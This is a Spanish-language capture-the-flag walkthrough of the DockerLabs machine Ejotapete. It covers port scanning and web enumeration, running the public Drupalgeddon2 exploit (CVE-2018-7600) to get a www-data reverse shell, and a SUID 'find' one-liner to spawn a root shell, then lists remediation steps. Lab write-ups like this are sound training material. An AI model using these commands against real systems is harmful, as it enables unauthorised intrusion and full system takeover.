Ejotapete
Introducción
Sección titulada «Introducción»En este artículo se documenta la resolución completa de la máquina virtual Ejotapete, creada por El Pingüino de Mario y catalogada como muy fácil en la plataforma DockerLabs. El objetivo es ofrecer una guía reproducible, clara y didáctica, explicando qué se hizo, por qué se tomó cada decisión y cómo detectar vulnerabilidades similares en entornos reales.
El proceso se divide en tres fases principales:
- Reconocimiento – Identificación de servicios expuestos, rutas web y posibles puntos de entrada.
- Explotación – Obtención de acceso inicial mediante vulnerabilidad en un CMS.
- Escalada de privilegios – Aprovechamiento de binarios con permisos SUID para obtener privilegios de
root.
⚠️ Aviso: Todos los pasos fueron realizados en un entorno controlado de DockerLabs. No ejecutes pruebas intrusivas fuera de entornos expresamente autorizados.
Información general
Sección titulada «Información general»| Atributo | Detalle |
|---|---|
| Nombre | Ejotapete |
| Autor | El Pingüino de Mario |
| Dificultad | Fácil |
| Fecha de creación | 14/07/2025 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»-
Descomprimimos el paquete descargado desde DockerLabs:
Ventana de terminal unzip Ejotapete.zip -
Desplegamos el contenedor con el script incluido:
Ventana de terminal sudo bash auto_deploy.sh Ejotapete.tar
El script levantará un contenedor Docker con los servicios necesarios y mostrará la IP asignada al finalizar. Anótala, ya que se usará durante todo el proceso de explotación.
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización de trabajo
Sección titulada «1.1 Organización de trabajo»Para mantener un entorno de trabajo limpio y ordenado, creamos una estructura de directorios:
mkdir -p Ejotapete/{content,exploits,nmap,scripts}cd EjotapeteConsejo: Mantener una estructura ordenada permite registrar mejor los hallazgos y simplifica la elaboración de reportes posteriores.

1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Ejecutamos un escaneo completo con Nmap para descubrir los servicios activos:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsExtraemos los puertos detectados mediante un script auxiliar (extractPorts) o con grep:
extractPorts allPorts
Servicios identificados:
- Puerto
80– HTTP
No se detectaron otros puertos abiertos, lo cual sugiere que el vector de entrada estará en el servicio web.
1.3 Enumeración web
Sección titulada «1.3 Enumeración web»Procedemos a identificar directorios y archivos accesibles con Gobuster:
gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200 -o gobuster.txt
Rutas encontradas:
/drupal

El hallazgo de esta ruta nos indica la presencia de un CMS Drupal, por lo que el siguiente paso será identificar su versión y buscar posibles vulnerabilidades conocidas.
Paso 2 — Explotación
Sección titulada «Paso 2 — Explotación»Al acceder a la ruta /drupal, confirmamos que se trata de Drupal 8.5.0 (visible en el código fuente y archivos del CMS).
Sabemos que esta versión es vulnerable a ejecución remota de comandos (RCE), por lo que verificamos el exploit correspondiente con Searchsploit:
searchsploit drupal 8.5.0
El resultado nos muestra el exploit Drupalgeddon2 (CVE-2018-7600) que permite ejecución remota de código no autenticado.
Lo descargamos con el siguiente comando:
searchsploit -m 44449Antes de ejecutarlo, instalamos las dependencias requeridas (en este caso, la librería highline para Ruby):
gem install highlineFinalmente, ejecutamos el exploit:
ruby 44449.rb http://172.17.0.2/drupalEl script explota la vulnerabilidad y nos concede una reverse shell como el usuario www-data, lo que confirma la ejecución remota exitosa.
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»Con acceso como www-data, iniciamos la enumeración del sistema en busca de binarios con permisos especiales (SUID):
find / -perm -4000 2>/dev/nullEl resultado revela que el binario find tiene el bit SUID activado:

Este tipo de configuración permite ejecutar comandos con privilegios elevados.
Podemos aprovecharnos de esto para escalar directamente a root:
find . -exec /bin/sh \; -quitEsto ejecuta una shell con privilegios de root, otorgándonos control total del sistema.

Conclusión y aprendizajes
Sección titulada «Conclusión y aprendizajes»Cadena de explotación (resumen)
Sección titulada «Cadena de explotación (resumen)»- Reconocimiento – Descubrimiento del servicio web con Drupal 8.5.0.
- Explotación – Uso del exploit público Drupalgeddon2 (CVE-2018-7600) para obtener acceso remoto.
- Escalada de privilegios – Abuso del bit SUID en el binario
findpara ejecutar comandos comoroot.
Fallos de seguridad identificados
Sección titulada «Fallos de seguridad identificados»- Uso de una versión obsoleta y vulnerable de Drupal.
- Ausencia de actualizaciones de seguridad y parches.
- Permisos inseguros en binarios del sistema (
findcon SUID activo). - Falta de segmentación de usuarios y medidas de control de privilegios.
Recomendaciones (remediación)
Sección titulada «Recomendaciones (remediación)»- Actualizar Drupal a una versión reciente no afectada por CVE-2018-7600.
- Implementar un plan de gestión de parches para todos los servicios web.
- Eliminar permisos SUID innecesarios y revisar los binarios del sistema regularmente.
- Limitar los privilegios del usuario del servidor web (
www-data). - Aplicar controles de acceso y segmentación adecuados para mitigar escaladas de privilegios.